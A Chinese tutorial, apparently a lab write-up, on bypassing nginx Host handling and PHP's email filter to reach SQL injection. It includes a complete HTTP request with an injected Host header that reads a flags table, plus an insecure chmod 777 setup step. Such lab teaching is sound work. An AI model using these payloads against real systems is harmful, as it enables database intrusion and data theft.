利用Nginx与php处理方式不同绕过Nginx_host实现SQL注入

news2024/12/23 8:32:49

目录

首先需要搭建环境

nginx+php+mysql环境:

搭建网站

FILTER_VALIDATE_EMAIL 绕过

方法1:冒号号分割host字段

方法2:冒号号分割host字段

方法3:SNI扩展绕过


首先需要搭建环境

nginx+php+mysql环境:

php安装包:https://www.php.net/distributions/php-8.2.13.tar.gz

也可以直接使用yum的方式安装:

 yum install php

安装完成后我们可以在www/html/下新建一个php文件查看是否可以正常解析

cat index.php 
<?php phpinfo(); php?>

 

如果看到这样的页面则说明我们的php安装已经成功了

具体的ngixn和mysql安装可以看这里:

Nginx环境搭建

MySQL入门必备:Linux中部署MySQL环境的四种方式详解

搭建网站

(1)下载源码包

这里我分享给大家:

链接:https://pan.baidu.com/s/1267CI6AmiHOBB1TU_4qhMQ?pwd=8848 
提取码:8848

(2)解压源码包

(3)将源码包移动到/usr/local/nginx/html/目录下方便查看我将其重命名为mhz

(4)修改/usr/local/nginx/html/mhz/protected中的config.php文件

(5)在/mhz下创建一个名为web的文件夹用于存放网页

mkdir web

(6)为mhz文件授权

chmod -R 777 mhz/

(7)配置虚拟主机

[root@192~ protected]# vim /etc/nginx/nginx.conf
# 2023.mhz.pw
server {
    listen 80;     
    server_name 2023.mhz.pw;  
    root html/pwnhub/web;
    index index.html index.php;
​
    location / {
        try_files $uri $uri/ /index.php;
        }
 
    location ~ \.php(.*)$ {
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            fastcgi_split_path_info  ^((?U).+\.php)(/?.+)$;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            fastcgi_param  PATH_INFO  $fastcgi_path_info;
            fastcgi_param  PATH_TRANSLATED  $document_root$fastcgi_path_info;
            include        fastcgi_params;
        }
}

(8)设置本地(centos)的DNS

vim /etc/hosts
127.0.0.1   2023.mhz.pw

(9)重启nginx服务

(10)为了在widows上测试,在window的hosts中也写上对应关系

192.168.159.200 2023.mhz.pw

(11)进行数据库的配置

首先在centos中进入到mysql中,创建一个名为security的数据库

create database security;

(12)然后使用该数据库

use security;

创建数据库和表

create databases security;
use security;
SET NAMES utf8;
SET FOREIGN_KEY_CHECKS = 0;
 
DROP TABLE IF EXISTS `flags`;
CREATE TABLE `flags` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `flag` varchar(256) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4;
 
DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `username` varchar(256) NOT NULL,
  `password` varchar(32) NOT NULL,
  `email` varchar(256) DEFAULT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=15 DEFAULT CHARSET=utf8mb4;
 
SET FOREIGN_KEY_CHECKS = 1;

我们可以给数据库中的flag中插入一条flag,后面注入时会用到

insert into flags (flag) value('I_Love_security');

(12)然后我们就可以在浏览器尝试访问2023.mhz.pw

如图所示,成功访问!!!

(13)现在先去注册一个账号

访问页面http://2023.mhz.pw/main/register

到这里网站的搭建就完成了

FILTER_VALIDATE_EMAIL 绕过

我们先看看这个网页的源代码

登录页面的源代码:

 function actionLogin(){
 		//判断传参方式是否为表单的post方法
        if ($_POST) {
        	//数据交给arg()来处理,我们需要去查看arg函数
            $username = arg('username');
            $password = md5(arg('password', ''));
			
            if (empty($username) || empty($password)) {
                $this->error('Username or password is empty.');
            }
			
            $user = new User();
            $data = $user->query("SELECT * FROM `{$user->table_name}` 
                                       WHERE `username` = '{$username}' AND `password` = '{$password}'");
            if (empty($data) or $data[0]['password'] !== $password) {
                $this->error('Username or password is error.');
            }

            $_SESSION['user_id'] = $data[0]['id'];
            $this->jump('/');
        }

    }

#以下为core里面的内容
function escape(&$arg) {
    if(is_array($arg)) {
        foreach ($arg as &$value) {
            escape($value);
        }
    } else {
        $arg = str_replace(["'", '\\', '(', ')'], ["‘", '\\\\', '(', ')'], $arg);
    }
}

function arg($name, $default = null, $trim = false) {
    if (isset($_REQUEST[$name])) {
        $arg = $_REQUEST[$name];
    } elseif (isset($_SERVER[$name])) {
        $arg = $_SERVER[$name];
    } else {
        $arg = $default;
    }
    if($trim) {
        $arg = trim($arg);
    }
	return $arg;
}

从上述代码段内部可以看到:arg函数利用request接收,由于REQUEST被全局过滤函数escape过滤了单引号。所以username,password没法利用。无法使用其作为传入单引号的注入点 

那么再看看注册页面的源代码:

function actionRegister(){
	    if ($_POST) {
	        $username = arg('username');
	        $password = arg('password');

	        if (empty($username) || empty($password)) {
	            $this->error('Username or password is empty.');
            }

            $email = arg('email');
            //利用host字段,拼接用户的邮箱
            if (empty($email)) {
                $email = $username . '@' . arg('HTTP_HOST');
            }
			//用户邮箱的合法性验证 --- 利用了FILTER_VALIDATE_EMAIL函数
            if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
                $this->error('Email error.');
            }

            $user = new User();
            $data = $user->query("SELECT * FROM `{$user->table_name}` WHERE `username` = '{$username}'");
            if ($data) {
                $this->error('This username is exists.');
            }

			
            $ret = $user->create([
                'username' => $username,
                'password' => md5($password),
                'email' => $email
            ]);
            
            if ($ret) {
                $_SESSION['user_id'] = $user->lastInsertId();
            } else {
                $this->error('Unknown error.');
            }
        }

	}

 这里的注册方式是使用create创建的,然后HTTP_HOST是通过Server获取的,Server并没有做任何过滤操作,然后这个FILTER_VALIDATE_EMAIL是用来过滤email的,它把值当做email来进行验证,并且当邮箱地址为空时,它会以username+@HTTP_HOST作为邮箱地址

FILTER_VALIDATE_EMAIL:即,以邮箱的格式对字符串进行检测

RFC 3696规定,邮箱地址分为:local part和domain part两部分。

local part中包含特殊字符,需要如下处理:

  1. 将特殊字符用\转义,如Joe\'Blow@example.com

  2. 或将local part包裹在双引号中,如"Joe'Blow"@example.com

  3. local part长度不超过64个字符

虽然PHP没有完全按照RFC 3696进行检测,但支持上述第2种写法。所以,我们可以利用之绕过FILTER_VALIDATE_EMAIL的检测。

我们可以使用下面这样的方式来尝试将传入的email格式来查看是否可以验证通过:

<?php
$email = xxx@xxx'.com;
var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));

尝试访问后: 

可以看到这样并没有绕过email限制

因为代码中邮箱是用户名、@、Host三者拼接而成,但用户名是经过了转义的,所以单引号只能放在Host中。

我们可以传入用户名为",Host为aaa'"@example.com,最后拼接出来的邮箱为"@aaa'"@example.com

我们可以将上面的邮箱修改为这样的形式就是合法的了:

<?php
$email = "xxx@xxx'.com";//这里的xxx就写用户名和网站
var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));

 可以将web.php文件修改为

<?php
echo $_SERVER['HTTP_HOST'];

来查找HTTP_HOST的值

可以看到这里打印的使我们的域名

然后我们尝试使用抓包的方式抓到注册页面的数据包,并且试着利用上面的方法构造这样的一个Host试试看 

返回的页面为404 notfound,这是因为nginx不知道应该交给哪一个模块进行解析,于是就交给了默认的模块进行处理,而在默认的路径下我们有没有进行这个页面的部署,于是出现了404的返回页面。

可以使用以下三种方式来绕过:

方法1:冒号号分割host字段

Nginx在处理Host的时候,会将Host用冒号分割成hostname和port,port部分被丢弃。

所以,我们可以设置Host的值为2023.mhz.pw:xxx'"@example.com,这样就能访问到目标Server块

nginx处理时会将:后的东西丢弃掉:`2023.mhz.pw

php接收时全部接收:2023.mhz.pw:xxx'"@example.com

​​​​​​​方法2:双写host绕过

当我们传入两个Host头的时候,Nginx将以第一个为准,而PHP-FPM将以第二个为准。

也就是说,如果我传入:

Host: 2023.mhz.pw
Host: xxx'"@example.com

Nginx将认为Host为2023.mhz.pw,并交给目标Server块处理;

但PHP中使用$_SERVER['HTTP_HOST']取到的值却是xxx'"@example.com

注:这种方式在高版本中无法使用,但是低版本可以

方法3:SNI扩展绕过

SNI介绍

早期的SSLv2根据经典的公钥基础设施PKI(Public Key Infrastructure)设计,它默认认为:一台服务器(或者说一个IP)只会提供一个服务,所以在SSL握手时,服务器端可以确信客户端申请的是哪张证书。

但是让人万万没有想到的是,虚拟主机大力发展起来了,这就造成了一个IP会对应多个域名的情况。解决办法有一些,例如申请泛域名证书,对所有*.yourdomain.com的域名都可以认证,但如果你还有一个yourdomain.net的域名,那就不行了。

在HTTP协议中,请求的域名作为主机头(Host)放在HTTP Header中,所以服务器端知道应该把请求引向哪个域名,但是早期的SSL做不到这一点,因为在SSL握手的过程中,根本不会有Host的信息,所以服务器端通常返回的是配置中的第一个可用证书。因而一些较老的环境,可能会产生多域名分别配好了证书,但返回的始终是同一个。

既然问题的原因是在SSL握手时缺少主机头信息,那么补上就是了。

SNI(Server Name Indication)定义在RFC 4366,是一项用于改善SSL/TLS的技术,在SSLv3/TLSv1中被启用。它允许客户端在发起SSL握手请求时(具体说来,是客户端发出SSL请求中的ClientHello阶段),就提交请求的Host信息,使得服务器能够切换到正确的域并返回相应的证书。

要使用SNI,需要客户端和服务器端同时满足条件,幸好对于现代浏览器来说,大部分都支持SSLv3/TLSv1,所以都可以享受SNI带来的便利。

方法3其原理就是,我们在发送https数据包的时候,SNI中指定的域名是example2.com,而无需和HTTP报文中的Host头部保持一致,nginx会选择SNI中的域名作为Server Name

PHP接收的是host头部

Nginx接收的是SNI的域名

上面三种方式都导致mysql报错

Mysql注入

既然已经触发了SQL报错,说明SQL注入近在眼前。通过阅读源码中包含的SQL结构,我们知道flag在flags表中,所以不废话,直接注入读取该表。

插入显示位

因为用户成功登录后,将会显示出该用户的邮箱地址,所以我们可以将数据插入到这个位置。发送如下数据包:

POST /main/register HTTP/1.1
Host: 2023.mhz.pw
Host: '),('t123',md5(12123),(select(flag)from(flags)))#"@a.com
insert into users ...
​
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=--------356678531
Content-Length: 176
​
----------356678531
Content-Disposition: form-data; name="username"
​
"a
----------356678531
Content-Disposition: form-data; name="password"
​
aaa
----------356678531--

可见,我闭合了INSERT语句,并插入了一个新用户t123,并将flag读取到email字段。

登录该用户,则直接获取flag。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1249908.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

从0开始学习JavaScript--深入了解JavaScript框架

JavaScript框架在现代Web开发中扮演着关键角色&#xff0c;为开发者提供了丰富的工具和抽象层&#xff0c;使得构建复杂的、高性能的Web应用变得更加容易。本文将深入探讨JavaScript框架的核心概念、常见框架的特点以及它们在实际应用中的使用。 JavaScript框架的作用 JavaSc…

算法-中等-链表-两数相加

记录一下算法题的学习11 两数相加 题目&#xff1a;给你两个非空的链表&#xff0c;表示两个非负的整数。它们每位数字都是按照逆序的方式存储的&#xff0c;并且每个节点只能存储一位数字。请你将两个数相加&#xff0c;并以相同形式返回一个表示和的链表。你可以假设除了数字…

Re54:读论文 How Context Affects Language Models‘ Factual Predictions

诸神缄默不语-个人CSDN博文目录 诸神缄默不语的论文阅读笔记和分类 论文名称&#xff1a;How Context Affects Language Models’ Factual Predictions ArXiv网址&#xff1a;https://arxiv.org/abs/2005.04611 2020年AKBC论文&#xff0c;作者来自脸书和UCL。 本文主要关注…

【Amazon】安装卸载AWS CLI操作流程(Windows 、Linux系统)

AWS 命令行界面&#xff08;AWS CLI&#xff09;是用于管理 AWS 产品的统一工具。只需要下载和配置一个工具&#xff0c;您就可以使用命令行控制多个 AWS 产品并利用脚本来自动执行这些服务。 AWS CLI v2 提供了多项新功能&#xff0c;包括改进的安装程序、新的配置选项&#…

亚马逊云科技向量数据库助力生成式AI成功落地实践探秘(一) ​

随着大语言模型效果明显提升&#xff0c;其相关的应用不断涌现呈现出越来越火爆的趋势。其中一种比较被广泛关注的技术路线是大语言模型&#xff08;LLM&#xff09;知识召回&#xff08;Knowledge Retrieval&#xff09;的方式&#xff0c;在私域知识问答方面可以很好的弥补通…

[HCIE] IPSec-VPN (手工模式)

概念&#xff1a; A. IPSec&#xff1a;是对IP的安全性补充&#xff0c;工作在IP层&#xff0c;为IP网络通信提供安全服务。 B.安全联盟SA&#xff1a;是通信对等体之间对某些要素的协定。 C. IPSec安全联盟简称 IPSec SA.通常成对建立&#xff08;inbound和outbound&#x…

Spring Boot - 瘦身大作战:优雅应对Spring Boot Fat Jar

文章目录 Fat Jar瘦身pom修改copy lib启动 -Dloader.path验证 源码分析前置阅读spring-boot-loader 依赖类继承关系PropertiesLauncher属性配置 附 pom.xml Fat Jar 【pom.xml】 <?xml version"1.0" encoding"UTF-8"?> <project xmlns"ht…

人机交互2——任务型多轮对话的控制和生成

1.自然语言理解模块 2.对话管理模块 3.自然语言生成模块

【数据结构 —— 堆的实现(顺序表)】

数据结构 —— 堆的实现&#xff08;顺序表&#xff09; 一.堆1.1堆的定义及结构1.1.1.堆的定义1.1.2.堆的性质1.1.3.堆的结构 二.堆的实现2.1.头文件的实现 —— &#xff08;Heap.h&#xff09;2.2.源文件的实现 —— &#xff08;Heap.c&#xff09;2.2.1.小堆的源文件2.2.2…

【汉诺塔 —— (经典分治递归)】

汉诺塔 —— &#xff08;经典分治递归&#xff09; 一.汉诺塔介绍二.分治算法解决汉诺塔问题三.汉诺塔问题的代码实现四.主函数测试展示 一.汉诺塔介绍 汉诺塔问题源自印度一个古老的传说&#xff0c;印度教的“创造之神”梵天创造世界时做了 3 根金刚石柱&#xff0c;其中的一…

量子计算 | 解密著名量子算法Shor算法和Grover算法

专栏集锦&#xff0c;大佬们可以收藏以备不时之需 Spring Cloud实战专栏&#xff1a;https://blog.csdn.net/superdangbo/category_9270827.html Python 实战专栏&#xff1a;https://blog.csdn.net/superdangbo/category_9271194.html Logback 详解专栏&#xff1a;https:/…

Matplotlib自定义坐标刻度_Python数据分析与可视化

自定义坐标刻度 主次要刻度隐藏刻度与标签花哨的刻度格式格式生成器与定位器 虽然matplotlib默认的坐标轴定位器与格式生成器可以满足大部分需求&#xff0c;但是并非对每一幅图都合适。 主次要刻度 学习前最好有对matplotlib图形的对象层级较为了解&#xff0c;例如查看前面…

ZKP11.3 Correlation Intractability

ZKP学习笔记 ZK-Learning MOOC课程笔记 Lecture 11: From Practice to Theory (Guest Lecturer: Alex Lombardi) 11.3 What can we do without random oracle model Falsifiable Assumptions Prove security assuming that some concrete algorithmic task is infeasible: …

案例024:基于微信小程序的汽车保养系统

文末获取源码 开发语言&#xff1a;Java 框架&#xff1a;SSM JDK版本&#xff1a;JDK1.8 数据库&#xff1a;mysql 5.7 开发软件&#xff1a;eclipse/myeclipse/idea Maven包&#xff1a;Maven3.5.4 小程序框架&#xff1a;uniapp 小程序开发软件&#xff1a;HBuilder X 小程序…

【华为网络-配置-021】- MSTP 多实例配置及安全保护等

要求&#xff1a; 1、vlan 10 从红色链路转发。 2、vlan 20 从黄色链路转发。 一、基础配置 [SW1]vlan batch 10 20 [SW1]interface GigabitEthernet 0/0/1 [SW1-GigabitEthernet0/0/1]port link-type trunk [SW1-GigabitEthernet0/0/1]port trunk allow-pass vlan all [SW…

【点云surface】 修剪B样条曲线拟合

1 介绍 Fitting trimmed B-splines&#xff08;修剪B样条曲线拟合&#xff09;是一种用于对给定的点云数据进行曲线拟合的算法。该算法使用B样条曲线模型来逼近给定的点云数据&#xff0c;并通过对模型进行修剪来提高拟合的精度和准确性。 B样条曲线是一种常用的曲线表示方法…

深度学习之基于Tensorflow银行卡号码识别系统

欢迎大家点赞、收藏、关注、评论啦 &#xff0c;由于篇幅有限&#xff0c;只展示了部分核心代码。 文章目录 一项目简介银行卡号码识别的步骤TensorFlow的优势 二、功能三、系统四. 总结 一项目简介 # 深度学习基于TensorFlow的银行卡号码识别介绍 深度学习在图像识别领域取得…

浏览器缓存、本地存储、Cookie、Session、Token

目录 前端通信&#xff08;渲染、http、缓存、异步、跨域&#xff09; HTTP与HTTPS&#xff0c;HTTP版本、状态码 请求头&#xff0c;响应头 缓存 强制缓存&#xff1a;Cache-Control:max-age&#xff08;HTTP1.1&#xff09;>Expires&#xff08;1.0&#xff09; js、…

python pdf转txt文本、pdf转json

文章目录 一、前言二、实现方法1. 目录结构2. 代码 一、前言 此方法只能转文本格式的pdf&#xff0c;如果是图片格式的pdf需要用到ocr包&#xff0c;以后如果有这方面需求再加这个方法 二、实现方法 1. 目录结构 2. 代码 pdf2txt.py 代码如下 #!/usr/bin/env python # -*- …

【LM、LLM】浅尝二叉树在前馈神经网络上的应用

前言 随着大模型的发展&#xff0c;模型参数量暴涨&#xff0c;以Transformer的为组成成分的隐藏神经元数量增长的越来越多。因此&#xff0c;降低前馈层的推理成本逐渐进入视野。前段时间看到本文介绍的相关工作还是MNIST数据集上的实验&#xff0c;现在这个工作推进到BERT上…